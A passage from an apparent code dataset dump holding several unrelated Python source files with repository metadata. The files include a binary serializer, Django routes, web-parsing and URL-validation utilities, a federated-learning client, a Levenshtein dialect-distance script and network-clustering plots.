0xE\nTYPE_DICT = 0xF\n\nTYPE_SHORTLIST = 0x10\nTYPE_SHORTTUPLE = 0x11\nTYPE_SHORTSET = 0x12\nTYPE_SHORTDICT = 0x13\n\nTYPE_MEDLIST = 0x14\nTYPE_MEDTUPLE = 0x15\nTYPE_MEDSET = 0x16\nTYPE_MEDDICT = 0x17\nTYPE_MEDSTR = 0x18\nTYPE_MEDUTF8 = 0x19\n\nTYPE_DATE = 0x1A\nTYPE_TIME = 0x1B\nTYPE_DATETIME = 0x1C\nTYPE_TIMEDELTA = 0x1D\n\nTYPE_DECIMAL = 0x1E\n\n\nTYPEMAP = {\n type(None): TYPE_NONE,\n bool: TYPE_BOOL,\n float: TYPE_DOUBLE,\n}\n\n_BIG_ENDIAN = struct.pack(\"!h\", 1) == struct.pack(\"h\", 1)\n\n\ndef _get_type_code(x):\n mapped = TYPEMAP.get(type(x))\n if mapped is not None:\n return mapped\n\n if type(x) is list:\n if len(x) < 256:\n return TYPE_SHORTLIST\n if len(x) < 65536:\n return TYPE_MEDLIST\n return TYPE_LIST\n\n if type(x) is tuple:\n if len(x) < 256:\n return TYPE_SHORTTUPLE\n if len(x) < 65536:\n return TYPE_MEDTUPLE\n return TYPE_TUPLE\n\n if type(x) in (set, frozenset):\n if len(x) < 256:\n return TYPE_SHORTSET\n if len(x) < 65536:\n return TYPE_MEDSET\n return TYPE_SET\n\n if type(x) is dict:\n if len(x) < 256:\n return TYPE_SHORTDICT\n if len(x) < 65536:\n return TYPE_MEDDICT\n return TYPE_DICT\n\n if type(x) is bytes:\n if len(x) < 256:\n return TYPE_SHORTSTR\n if len(x) < 65536:\n return TYPE_MEDSTR\n return TYPE_LONGSTR\n\n if type(x) is unicode:\n if len(x.encode('utf8')) < 256:\n return TYPE_SHORTUTF8\n if len(x.encode('utf8')) < 65536:\n return TYPE_MEDUTF8\n return TYPE_LONGUTF8\n\n if type(x) in (int, long):\n if -128 <= x < 128:\n return TYPE_CHAR\n if -32768 <= x < 32768:\n return TYPE_SHORT\n if -2147483648 <= x < 2147483648:\n return TYPE_INT\n if -9223372036854775808 <= x < 9223372036854775808:\n return TYPE_LONG\n return TYPE_HUGE\n\n if type(x) is datetime.date:\n return TYPE_DATE\n\n if type(x) is datetime.time:\n return TYPE_TIME\n\n if type(x) is datetime.datetime:\n return TYPE_DATETIME\n\n if type(x) is datetime.timedelta:\n return TYPE_TIMEDELTA\n\n if type(x) is decimal.Decimal:\n return TYPE_DECIMAL\n\n raise ValueError(\"%r cannot be serialized\" % type(x))\n\n\n##\n## DUMPERS\n##\n\ndef _dump_none(x, depth=0, default=None):\n return bytify(\"\")\n\ndef _dump_bool(x, depth=0, default=None):\n return bytify(x and '\\x01' or '\\x00')\n\ndef _dump_char(x, depth=0, default=None):\n if x < 0:\n x += 256\n return chr(x)\n\ndef _dump_uchar(x, depth=0, default=None):\n return chr(x)\n\ndef _dump_short(x, depth=0, default=None):\n return struct.pack(\"!h\", x)\n\ndef _dump_ushort(x, depth=0, default=None):\n return struct.pack(\"!H\", x)\n\ndef _dump_int(x, depth=0, default=None):\n return struct.pack(\"!i\", x)\n\ndef _dump_uint(x, depth=0, default=None):\n return struct.pack(\"!I\", x)\n\ndef _dump_long(x, depth=0, default=None):\n return struct.pack(\"!q\", x)\n\ndef _dump_huge(x, depth=0, default=None):\n data = []\n neg = x < 0\n if neg:\n x = ~x\n while x:\n data.append(x & 0xff)\n x >>= 8\n if neg:\n data = map(lambda byte: byte ^ 0xff, data)\n if not _BIG_ENDIAN:\n data = data[::-1]\n if neg and not data[0] & 0x80:\n data = [255] + data\n if not neg and data[0] & 0x80:\n data = [0] + data\n data = map(chr, data)\n return _dump_uint(len(data)) + bytify(\"\").join(data)\n\ndef _dump_double(x, depth=0, default=None):\n return struct.pack(\"!d\", x)\n\ndef _dump_shortstr(x, depth=0, default=None):\n return _dump_uchar(len(x)) + x\n\ndef _dump_medstr(x, depth=0, default=None):\n return _dump_ushort(len(x)) + x\n\ndef _dump_longstr(x, depth=0, default=None):\n return _dump_uint(len(x)) + x\n\ndef _dump_shortutf8(x, depth=0, default=None):\n return _dump_shortstr(x.encode('utf8'))\n\ndef _dump_medutf8(x, depth=0, default=None):\n return _dump_medstr(x.encode('utf8'))\n\ndef _dump_longutf8(x, depth=0, default=None):\n return _dump_longstr(x.encode('utf8'))\n\ndef _dump_list(x, depth=0, default=None):\n return _dump_uint(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0)\n for item in x)\n\n_dump_set = _dump_tuple = _dump_list\n\ndef _dump_dict(x, depth=0, default=None):\n return _dump_uint(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0) for item in\n reduce(lambda a, b: a.extend(b) or a, iteritems(x), []))\n\ndef _dump_shortlist(x, depth=0, default=None):\n return _dump_uchar(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0)\n for item in x)\n\n_dump_shorttuple = _dump_shortset = _dump_shortlist\n\ndef _dump_shortdict(x, depth=0, default=None):\n return _dump_uchar(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0) for item in\n reduce(lambda a, b: a.extend(b) or a, iteritems(x), []))\n\ndef _dump_medlist(x, depth=0, default=None):\n return _dump_ushort(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0)\n for item in x)\n\n_dump_medtuple = _dump_medset = _dump_medlist\n\ndef _dump_meddict(x, depth=0, default=None):\n return _dump_ushort(len(x)) + bytify(\"\").join(\n pure_python_dumps(item, default, depth + 1, compress=0) for item in\n reduce(lambda a, b: a.extend(b) or a, iteritems(x), []))\n\ndef _dump_date(x, depth=0, default=None):\n return \"\".join(\n (_dump_ushort(x.year), _dump_char(x.month), _dump_char(x.day)))\n\ndef _dump_time(x, depth=0, default=None):\n if x.tzinfo is not None:\n raise ValueError(\"can't serialize data objects with tzinfo\")\n return \"\".join((\n _dump_char(x.hour),\n _dump_char(x.minute),\n _dump_char(x.second),\n struct.pack(\"!I\", x.microsecond)[-3:]))\n\ndef _dump_datetime(x, depth=0, default=None):\n return _dump_date(x.date()) + _dump_time(x.timetz())\n\ndef _dump_timedelta(x, depth=0, default=None):\n return \"\".join((\n _dump_int(x.days), _dump_int(x.seconds), _dump_int(x.microseconds)))\n\ndef _dump_decimal(x, depth=0, default=None):\n sign, digits, expo = x.as_tuple()\n flags = 0\n\n flags |= expo in (\"n\", \"N\", \"F\")\n flags |= sign << 1\n if flags & 1:\n if expo == \"F\":\n flags |= 4\n else:\n flags |= (expo == \"N\") << 3\n\n return _dump_char(flags)\n\n digitpairs = []\n for i, dig in enumerate(digits):\n if not 0 <= dig <= 9:\n raise ValueError(\"invalid digit\")\n\n if not (i & 1):\n digitpairs.append(0)\n dig <<= 4\n\n digitpairs[-1] |= dig\n\n return (struct.pack(\"!BhH\", flags, expo, len(digits)) +\n \"\".join(map(chr, digitpairs)))\n\n\n_dumpers = {\n TYPE_NONE: _dump_none,\n TYPE_BOOL: _dump_bool,\n TYPE_CHAR: _dump_char,\n TYPE_SHORT: _dump_short,\n TYPE_INT: _dump_int,\n TYPE_LONG: _dump_long,\n TYPE_HUGE: _dump_huge,\n TYPE_DOUBLE: _dump_double,\n TYPE_SHORTSTR: _dump_shortstr,\n TYPE_MEDSTR: _dump_medstr,\n TYPE_LONGSTR: _dump_longstr,\n TYPE_SHORTUTF8: _dump_shortutf8,\n TYPE_MEDUTF8: _dump_medutf8,\n TYPE_LONGUTF8: _dump_longutf8,\n TYPE_LIST: _dump_list,\n TYPE_TUPLE: _dump_tuple,\n TYPE_SET: _dump_set,\n TYPE_DICT: _dump_dict,\n TYPE_SHORTLIST: _dump_shortlist,\n TYPE_MEDLIST: _dump_medlist,\n TYPE_SHORTTUPLE: _dump_shorttuple,\n TYPE_MEDTUPLE: _dump_medtuple,\n TYPE_SHORTSET: _dump_shortset,\n TYPE_MEDSET: _dump_medset,\n TYPE_SHORTDICT: _dump_shortdict,\n TYPE_MEDDICT: _dump_meddict,\n TYPE_DATE: _dump_date,\n TYPE_TIME: _dump_time,\n TYPE_DATETIME: _dump_datetime,\n TYPE_TIMEDELTA: _dump_timedelta,\n TYPE_DECIMAL: _dump_decimal,\n}\n\ndef pure_python_dumps(item, default=None, depth=0, compress=True):\n \"serialize a native python object into a mummy string\"\n if default and not hasattr(default, \"__call__\"):\n raise TypeError(\"default must be callable or None\")\n if depth >= MAX_DEPTH:\n raise ValueError(\"max depth exceeded\")\n try:\n kind = _get_type_code(item)\n except ValueError:\n if default is None:\n raise TypeError(\"unserializable type\")\n item = default(item)\n kind = _get_type_code(item)\n data = _dumpers[kind](item, depth, default)\n datalen = len(data)\n if compress and lzf and datalen > 5:\n compressed = lzf.compress(data, datalen - 5)\n if compressed:\n data = struct.pack(\"!i\", datalen) + compressed\n kind = kind | 0x80\n kind = _dump_char(kind)\n\n return kind + data\n\n\n##\n## LOADERS\n##\n\ndef _load_none(x):\n return None, 0\n\ndef _load_bool(x):\n return bool(ord(x[0])), 1\n\ndef _load_char(x):\n num = ord(x[0])\n if num >= 128:\n num -= 256\n return num, 1\n\ndef _load_uchar(x):\n return ord(x[0]), 1\n\ndef _load_short(x):\n return struct.unpack(\"!h\", x[:2])[0], 2\n\ndef _load_ushort(x):\n return struct.unpack(\"!H\", x[:2])[0], 2\n\ndef _load_int(x):\n return struct.unpack(\"!i\", x[:4])[0], 4\n\ndef _load_uint(x):\n return struct.unpack(\"!I\", x[:4])[0], 4\n\ndef _load_long(x):\n return struct.unpack(\"!q\", x[:8])[0], 8\n\ndef _load_huge(x):\n width = _load_uint(x)[0] + 4\n num = 0\n x = x[4:]\n neg = ord(x[0]) & 0x80\n data = map(ord, x[:width])\n if neg:\n data = map(lambda byte: byte ^ 0xff, data)\n for c in data:\n num = (num << 8) | c\n if neg:\n return -num - 1, width\n return num, width\n\ndef _load_double(x):\n return struct.unpack(\"!d\", x[:8])[0], 8\n\ndef _load_shortstr(x):\n width = _load_uchar(x)[0] + 1\n return x[1:width], width\n\ndef _load_medstr(x):\n width = _load_ushort(x)[0] + 2\n return x[2:width], width\n\ndef _load_longstr(x):\n width = _load_uint(x)[0] + 4\n return x[4:width], width\n\ndef _load_shortutf8(x):\n str, width = _load_shortstr(x)\n return str.decode('utf8'), width\n\ndef _load_medutf8(x):\n str, width = _load_medstr(x)\n return str.decode('utf8'), width\n\ndef _load_longutf8(x):\n str, width = _load_longstr(x)\n return str.decode('utf8'), width\n\ndef _load_list(x):\n length, width = _load_uint(x)\n result = []\n for i in xrange(length):\n item, item_width = _loads(x[width:])\n result.append(item)\n width += item_width + 1\n return result, width\n\ndef _load_set(x):\n lst, width = _load_list(x)\n return set(lst), width\n\ndef _load_tuple(x):\n lst, width = _load_list(x)\n return tuple(lst), width\n\ndef _load_dict(x):\n length, width = _load_uint(x)\n result = {}\n for i in xrange(length):\n key, keywidth = _loads(x[width:])\n width += keywidth + 1\n value, valuewidth = _loads(x[width:])\n width += valuewidth + 1\n result[key] = value\n return result, width\n\ndef _load_shortlist(x):\n length, width = _load_uchar(x)\n result = []\n for i in xrange(length):\n item, item_width = _loads(x[width:])\n result.append(item)\n width += item_width + 1\n return result, width\n\ndef _load_shorttuple(x):\n lst, width = _load_shortlist(x)\n return tuple(lst), width\n\ndef _load_shortset(x):\n lst, width = _load_shortlist(x)\n return set(lst), width\n\ndef _load_shortdict(x):\n length, width = _load_uchar(x)\n result = {}\n for i in xrange(length):\n key, keywidth = _loads(x[width:])\n width += keywidth + 1\n value, valuewidth = _loads(x[width:])\n width += valuewidth + 1\n result[key] = value\n return result, width\n\ndef _load_medlist(x):\n length, width = _load_ushort(x)\n result = []\n for i in xrange(length):\n item, item_width = _loads(x[width:])\n result.append(item)\n width += item_width + 1\n return result, width\n\ndef _load_medtuple(x):\n lst, width = _load_medlist(x)\n return tuple(lst), width\n\ndef _load_medset(x):\n lst, width = _load_medlist(x)\n return set(lst), width\n\ndef _load_meddict(x):\n length, width = _load_ushort(x)\n result = {}\n for i in xrange(length):\n key, keywidth = _loads(x[width:])\n width += keywidth + 1\n value, valuewidth = _loads(x[width:])\n width += valuewidth + 1\n result[key] = value\n return result, width\n\ndef _load_date(x):\n year = struct.unpack(\"!H\", x[:2])[0]\n month = struct.unpack(\"B\", x[2])[0]\n day = struct.unpack(\"B\", x[3])[0]\n return datetime.date(year, month, day), 4\n\ndef _load_time(x):\n hour = struct.unpack(\"B\", x[0])[0]\n minute = struct.unpack(\"B\", x[1])[0]\n second = struct.unpack(\"B\", x[2])[0]\n microsecond = struct.unpack(\"!I\", '\\x00' + x[3:6])[0]\n return datetime.time(hour, minute, second, microsecond), 6\n\ndef _load_datetime(x):\n return datetime.datetime.combine(\n _load_date(x)[0],\n _load_time(x[4:10])[0]), 10\n\ndef _load_timedelta(x):\n return (datetime.timedelta(\n _load_int(x)[0], _load_int(x[4:8])[0], _load_int(x[8:12])[0]), 12)\n\ndef _load_decimal(x):\n flags = struct.unpack(\"B\", x[0])[0]\n\n if flags & 1:\n width = 1\n if flags & 4:\n # (+ or -) Infinity\n triple = ((flags & 2) >> 1, (0,), \"F\")\n else:\n # [s]NaN\n triple = (0, (), flags & 8 and \"N\" or \"n\")\n else:\n sign = (flags & 2) >> 1\n exponent, length = struct.unpack(\"!hH\", x[1:5])\n width = 5 + (length // 2) + (length & 1)\n\n digitbytes = map(ord, x[5:width])\n digits = []\n for i, b in enumerate(digitbytes):\n digits.append((b & 0xf0) >> 4)\n digits.append(b & 0xf)\n\n if not digits[-1]:\n digits.pop()\n\n triple = (sign, digits, exponent)\n\n return decimal.Decimal(triple), width\n\n\n_loaders = {\n TYPE_NONE: _load_none,\n TYPE_BOOL: _load_bool,\n TYPE_CHAR: _load_char,\n TYPE_SHORT: _load_short,\n TYPE_INT: _load_int,\n TYPE_LONG: _load_long,\n TYPE_HUGE: _load_huge,\n TYPE_DOUBLE: _load_double,\n TYPE_SHORTSTR: _load_shortstr,\n TYPE_MEDSTR: _load_medstr,\n TYPE_LONGSTR: _load_longstr,\n TYPE_SHORTUTF8: _load_shortutf8,\n TYPE_MEDUTF8: _load_medutf8,\n TYPE_LONGUTF8: _load_longutf8,\n TYPE_LIST: _load_list,\n TYPE_TUPLE: _load_tuple,\n TYPE_SET: _load_set,\n TYPE_DICT: _load_dict,\n TYPE_SHORTLIST: _load_shortlist,\n TYPE_MEDLIST: _load_medlist,\n TYPE_SHORTTUPLE: _load_shorttuple,\n TYPE_MEDTUPLE: _load_medtuple,\n TYPE_SHORTSET: _load_shortset,\n TYPE_MEDSET: _load_medset,\n TYPE_SHORTDICT: _load_shortdict,\n TYPE_MEDDICT: _load_meddict,\n TYPE_DATE: _load_date,\n TYPE_TIME: _load_time,\n TYPE_DATETIME: _load_datetime,\n TYPE_TIMEDELTA: _load_timedelta,\n TYPE_DECIMAL: _load_decimal,\n}\n\ndef _loads(data):\n kind = _load_char(data)[0]\n return _loaders[kind](data[1:])\n\ndef pure_python_loads(data):\n \"convert a mummy string into the python object it represents\"\n if not data:\n raise ValueError(\"no data from which to load\")\n if ord(data[0]) >> 7:\n if not lzf:\n raise RuntimeError(\"can't decompress without python-lzf\")\n kind, ucsize, data = (\n chr(ord(data[0]) & 0x7f), _load_int(data[1:5])[0], data[5:])\n data = kind + lzf.decompress(data, ucsize + 1)\n\n return _loads(string(data))[0]\n\n\ntry:\n from _oldmummy import dumps, loads\n has_extension = True\nexcept ImportError:\n dumps = pure_python_dumps\n loads = pure_python_loads\n has_extension = False\n","repo_name":"teepark/mummy","sub_path":"python/oldmummy/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":17111,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"28047497819","text":"from django.urls import path,include\nfrom rest_framework import routers\nfrom .views import BookViewSet,CategoryViewSet,SearchViewSet\n\nrouter = routers.DefaultRouter()\n\nrouter.register(r'books', BookViewSet,basename=\"books\")\nrouter.register(r'categories',CategoryViewSet,basename=\"categories\")\nrouter.register(r'search',SearchViewSet,basename=\"search\")\n\nurlpatterns = [\n path('',include(router.urls))\n]","repo_name":"sorutifokkusu/simple-library-api","sub_path":"books/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28684976886","text":"from bs4 import BeautifulSoup\nfrom pprint import pprint\n\nbroken_html = '
  • Area
  • Population
'\n# parse the HTML\nsoup = BeautifulSoup(broken_html, 'html5lib')\nfixed_html = soup.prettify()\nul = soup.find('ul', attrs={'class': 'country_or_district'})\nresult = ul.find('li') # returns just the first match\npprint(result)\nresult = ul.find_all('li') # returns all matches\npprint(result)","repo_name":"QTYResources/wswp","sub_path":"Chapter02/FindByBeautifulSoup.py","file_name":"FindByBeautifulSoup.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12032932608","text":"import re\nimport urllib.request\nimport urllib.parse\n\nimport facebook_marketplace_listing as facebook\n\n\n# Image formats supported by Qt\nVALID_FORMAT = ('.BMP', '.GIF', '.JPG', '.JPEG', '.PNG', '.PBM', '.PGM', '.PPM', '.TIFF', '.XBM')\n\n# source: https://stackoverflow.com/questions/7160737/python-how-to-validate-a-url-in-python-malformed-or-not\nDOMAIN_FORMAT = re.compile(\n r\"(?:^(\\w{1,255}):(.{1,255})@|^)\" # http basic authentication [optional]\n r\"(?:(?:(?=\\S{0,253}(?:$|:))\" # check full domain length to be less than or equal to 253 (starting after http basic auth, stopping before port)\n r\"((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\.)+\" # check for at least one subdomain (maximum length per subdomain: 63 characters), dashes in between allowed\n r\"(?:[a-z0-9]{1,63})))\" # check for top level domain, no dashes allowed\n r\"|localhost)\" # accept also \"localhost\" only\n r\"(:\\d{1,5})?\", # port [optional]\n re.IGNORECASE\n)\n\nSCHEME_FORMAT = re.compile(\n r\"^(http|hxxp|ftp|fxp)s?$\", # scheme: http(s) or ftp(s)\n re.IGNORECASE\n)\n\n\ndef MakeCarDKVFromURL(url):\n if not IsValidUrl(url):\n print(\"Not a Valid URL\")\n return\n \n if \"facebook.com/marketplace\" in url:\n car_dkv = facebook.OpenURL(url)\n return car_dkv\n \n print(\"uhhhhhhhhh\")\n\n\n# source: https://stackoverflow.com/questions/7160737/python-how-to-validate-a-url-in-python-malformed-or-not\n# idk if checking if it's a path would be better or not\ndef IsValidUrl(url: str):\n if len(url) > 2048:\n raise Exception(\"URL exceeds its maximum length of 2048 characters (given length={})\".format(len(url)))\n\n result = urllib.parse.urlparse(url)\n scheme = result.scheme\n domain = result.netloc\n\n if not scheme or not domain or not re.fullmatch(SCHEME_FORMAT, scheme) or not re.fullmatch(DOMAIN_FORMAT, domain):\n return False\n\n return True\n","repo_name":"Demez/CarListingViewer","sub_path":"url_parser.py","file_name":"url_parser.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28177750312","text":"\"\"\"\r\n用i,j两个下标,i记录新数组的下标,j是原来数组下标,\r\n如果nums[j] != nums[j - 1],那么nums[i] = nums[j],i 和j 都+ 1。\r\n最后返回i。\r\n\"\"\"\r\ndef removeDuplicates(nums):\r\n i = 1\r\n j = 1\r\n size = len(nums)\r\n while j < size:\r\n if nums[j] == nums[i-1]:\r\n i += 1\r\n else:\r\n nums[i] = nums[j]\r\n i += 1\r\n j += 1\r\n return min(i,size)\r\n","repo_name":"jasonusaco/Leetcode-Practice","sub_path":"Array&String/lc26.py","file_name":"lc26.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27792120066","text":"\"\"\" \nCode adapted from:\nTitle: Clustered Federated Learning: Model-Agnostic Distributed Multi-Task Optimization under Privacy Constraints\nAuthor: Felix Sattler, Klaus-Robert Müller, Wojciech Samek\nDate: 11.08.20\nCode version: 23a1c38\nAvailability: https://github.com/felisat/clustered-federated-learning\n\"\"\"\nimport os\n\nimport torch\nfrom torch.utils.data import DataLoader\nimport numpy as np\nfrom typing import Tuple\nfrom modules.device import * \n\nclass Client(FederatedTrainingDevice):\n def __init__(self,\n model_fn: torch.nn.Module,\n optimizer_fn: str,\n data: torch.utils.data.Dataset,\n idnum: int,\n config: dict=None,\n writer: torch.utils.tensorboard.SummaryWriter=None,\n logger: logging.Logger=logging.getLogger(__name__)\n ):\n \"\"\"Init for client object\n\n Args:\n model_fn (torch.nn.Module): Model class function\n optimizer_fn (string): Optimizer function\n data (Dataset): Dataset of data\n idnum (int): ID of node\n config (dict, optional): Dictionary conting the configuration. Defaults to None.\n writer (torch.utils.tensorboard.SummaryWriter, optional): Tensorboard object for plotting data. Defaults to None.\n logger (logging.Logger, optional): Logger object. Defaults to logging.getLogger(__name__).\n \"\"\"\n super().__init__(model_fn, data, optimizer_fn, config=config, writer=writer, logger=logger, name='client') \n\n torch.manual_seed(self.config['seeds']['random-seed'])\n \n self.data = data\n\n n_train = int(min( len(data)*self.config['client']['train_frac'], self.config['client']['max_data'] ))\n n_eval = int(np.ceil(min( len(data) - n_train, self.config['client']['max_data']*(1-self.config['client']['train_frac']) )))\n n_rest = len(data) - n_train\n data_train, data_rest = torch.utils.data.random_split(self.data, [n_train, n_rest])\n n_rest = len(data_rest) - n_eval\n data_eval, data_rest = torch.utils.data.random_split(data_rest, [n_eval, n_rest])\n\n self.train_loader = DataLoader(data_train, batch_size=self.config['client']['batch_size'], shuffle=self.config['client']['shuffle_train'])\n self.eval_loader = DataLoader(data_eval, batch_size=self.config['client']['batch_size'], shuffle=self.config['client']['shuffle_test'])\n \n self.id = idnum\n self.name = \"client_%02d\" % (self.id)\n\n logger.info(\"Dataset: Train %d \\t Eval %d\" % (n_train, n_eval))\n\n def get_dominant_source(self) -> Tuple[int, dict]:\n \"\"\"Returns dominant sound source of client\n\n Returns:\n [int, dict]: Index of dominant sound source, dict containing: gender, source name, and speaker ID of dominant sound source\n \"\"\"\n return self.data.dominant, self.data.combinations[self.data.dominant]\n\n def get_ground_truth_cluster(self) -> int:\n \"\"\"Returns ground truth cluster ID\n\n Returns:\n int: ID of source where client is in critical distant or 'B' \n \"\"\"\n return self.data.ground_truth\n\n def get_position(self) -> list:\n \"\"\"Returns client position\n\n Returns:\n [float, float, float]: 3D position data of client\n \"\"\"\n return self.data.position\n\n def predict(self, loader: torch.utils.data.dataloader.DataLoader=None, data: torch.utils.data.Dataset=None) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\"Prediction method. Uses self.eval_loader if no parameter given.\n\n Args:\n loader (torch.utils.data.dataloader.DataLoader, optional): Dataloader used for prediction. Defaults to None.\n data (torch.utils.data.Dataset, optional): Dataset used for prediction if no loader is given. Defaults to None.\n\n Returns:\n [torch.Tensor, torch.Tensor, torch.Tensor]: Predicted feature, torch.Tensor if classifier model used else None, input feature\n \"\"\"\n if loader != None:\n prediction, prediction_max, target = self.model.predict_op(self.model, self.eval_loader if not loader else loader)\n elif data != None:\n prediction, prediction_max, target = self.model.predict_op(self.model, data=data)\n else:\n prediction, prediction_max, target = self.model.predict_op(self.model, data=next(iter(self.eval_loader))[0][0] if not torch.is_tensor(data) else data)\n return prediction, prediction_max, target","repo_name":"Jearde/unsupervised-clustered-federated-learning","sub_path":"modules/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"15822098972","text":"\n# Librerías para unir los csv en un solo dataframe y también para manipularlos.\n\nimport pandas as pd\n\nimport glob\n\nimport os\n\n\nall_csv = glob.glob(\"/Users/Eduardo/Documents/Universidad/MAGISTER LINGÜÍSTICA UCHILE/SEGUNDO SEMESTRE 2021/LINGüíSTICA COMPUTACIONAL/Datos/*.csv\")\n\n\nlen(all_csv) # para verificar el tamaño de la lista.\n\n\ncsv_list = []\n\nfor csv in all_csv:\n \n datos = pd.read_csv(csv)\n \n nombre = os.path.basename(csv)\n \n datos[\"source_csv\"] = nombre # nueva columna conteniendo el nombre del fichero leido.\n \n csv_list.append(datos)\n\n\ndf = pd.concat(csv_list, ignore_index = True) # axis = 0 o axis = 1\n\ndf.head(n=100) # para mirar los datos iniciales\ndf.tail(n=100) # para mirar los datos finales\n\n\n# Elimina las columnas con información no útil.\n\ndataframe = df.drop(columns=['LanguageId','WordId','WordModernName2','WordProtoName1','WordProtoName2','SpellingAltv2', 'NotCognateWithMainWordInThisFamily'])\n\n\n# Exporta el dataframe en un archivo csv en el directorio definido con anterioridad.\n\ndataframe.to_csv('dataframe.csv')\n\n\n\n# función para medir distancia de Levenshtein \"manualmente\"\n\n\ndef LevenshteinD(word1, word2):\n m = len(word1)\n n = len(word2)\n table = [[0] * (n+1) for _ in range (m+1)]\n\n for i in range(m+1):\n table[i][0] = i\n for j in range(n+1):\n table[0][j] = j\n \n for i in range(1, m+1):\n for j in range(1, n+1):\n if word1[i - 1] == word2[j - 1]:\n table[i][j] = table[i - 1][j - 1]\n else:\n table[i][j] = 1 + min(table[i - 1][j], table[i][j - 1], table[i - 1][j - 1])\n \n return table [-1][-1]\n \n \n \n\n\n## CODIGO DE JAVIER PARA PASAR LOS DATOS DEL DATAFRAME A UN DICCIONARIO\n\n\nimport pandas as pd\n\ndatos = pd.read_csv('dataframe.csv',sep=',')\n\ndatos\n\nnames = set(datos['LanguageName'])\n\nnames\n\npalabras = set(datos['WordModernName1'])\n\npalabras\n\npalabras_elegidas = ['persona_que_ensenya'] ## puedes agregar más\n \ndict_datos = {L:{} for L in names}\n\nfor L in names:\n for word in palabras_elegidas:\n D = datos[datos['LanguageName']==L]\n try:\n dict_datos[L][word]=list(D[D['WordModernName1']==word]['Phonetic'])[0]\n except IndexError:\n dict_datos[L][word]='unk'\n\ndict_datos\n\n\nimport itertools\npares_localidades = list(itertools.product(list(dict_datos.keys()), list(dict_datos.keys())))\n\npares_localidades\n\n\n## aquí guardas las distancias\n\ndistancias = {L:{LL:0 for LL in list(dict_datos.keys())} for L in list(dict_datos.keys())}\n\n\ndef funcion_distancia(string1,string2):\n m = len(string1)\n n = len(string2)\n table = [[0] * (n+1) for _ in range (m+1)]\n\n for i in range(m+1):\n table[i][0] = i\n for j in range(n+1):\n table[0][j] = j\n \n for i in range(1, m+1):\n for j in range(1, n+1):\n if string1[i - 1] == string2[j - 1]:\n table[i][j] = table[i - 1][j - 1]\n else:\n table[i][j] = 1 + min(table[i - 1][j], table[i][j - 1], table[i - 1][j - 1])\n\n return table [-1][-1]\n\n\n## tienes q recorrer pares_localidades\n\nfor par in pares_localidades:\n distancias[par[0]][par[1]] = funcion_distancia(dict_datos[par[0]]['persona_que_ensenya'],dict_datos[par[1]]['persona_que_ensenya'])\n\n\n\ndistancias\n\nget_ipython().system('pip install jellyfish')\n\n\n \n \n \n \n ","repo_name":"Yohei-Mito/Sexta-vocal-del-mapuzungun","sub_path":"principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24904587985","text":"import argparse\nimport json\nimport math\nfrom collections import defaultdict, Counter\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom networkx.algorithms.community import modularity\n\nname_map = {\"cen\": \"Curated Exosome citation network (CEN)\",\n \"oc\": \"Open Citations network\",\n \"cit_hepph\": \"High energy physics citation network\",\n \"cit_patents\":\"US patents citation network\",\n \"wiki_topcats\":\"Wikipedia hyperlinks network\",\n \"wiki_talk\":\"Wikipedia talk (communication) network\"}\n\n\ndef membership_to_partition(membership):\n part_dict = {}\n for index, value in membership.items():\n if value in part_dict:\n part_dict[value].append(index)\n else:\n part_dict[value] = [index]\n return part_dict.values()\n\n\ndef get_membership_list_from_file(net, file_name):\n membership = dict()\n with open(file_name) as f:\n for line in f:\n i, m = line.strip().split()\n if int(i) in net.nodes:\n membership[int(i)] = m\n return membership\n\n\ndef plot_cm_dist(ax, df_emp, df_lfr, df_leiden_lfr, name, r):\n ax.cla()\n ax.grid(linestyle='--', linewidth=0.5)\n df_emp['log10(count)'] = np.log10(df_emp['count'])\n df_emp['log10(x)'] = np.log10(df_emp['x'])\n df_lfr['log10(count)'] = np.log10(df_lfr['count'])\n df_lfr['log10(x)'] = np.log10(df_lfr['x'])\n df_leiden_lfr['log10(count)'] = np.log10(df_leiden_lfr['count'])\n df_leiden_lfr['log10(x)'] = np.log10(df_leiden_lfr['x'])\n sns.scatterplot(ax=ax, data=df_emp, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='black', alpha=0.8, label='Leiden clustering of empirical net')\n sns.scatterplot(ax=ax, data=df_lfr, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='turquoise', alpha=0.8, label='LFR ground-truth communities')\n sns.scatterplot(ax=ax, data=df_leiden_lfr, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='orange', alpha=0.8,label='Leiden clustering of LFR net')\n ax.set_title('r=0.'+r)\n if r != '001':\n ax.get_legend().remove()\n else:\n ax.legend(loc='upper center', bbox_to_anchor=(1.16, 1.2), ncol=3, fontsize=12)\n ax.set_xlabel('log10 (cluster size)')\n ax.set_ylabel('log10 (cluster count)')\n\n\n'''def plot_cm_dist(df_emp, df_lfr, df_leiden_lfr, name, r):\n plt.cla()\n 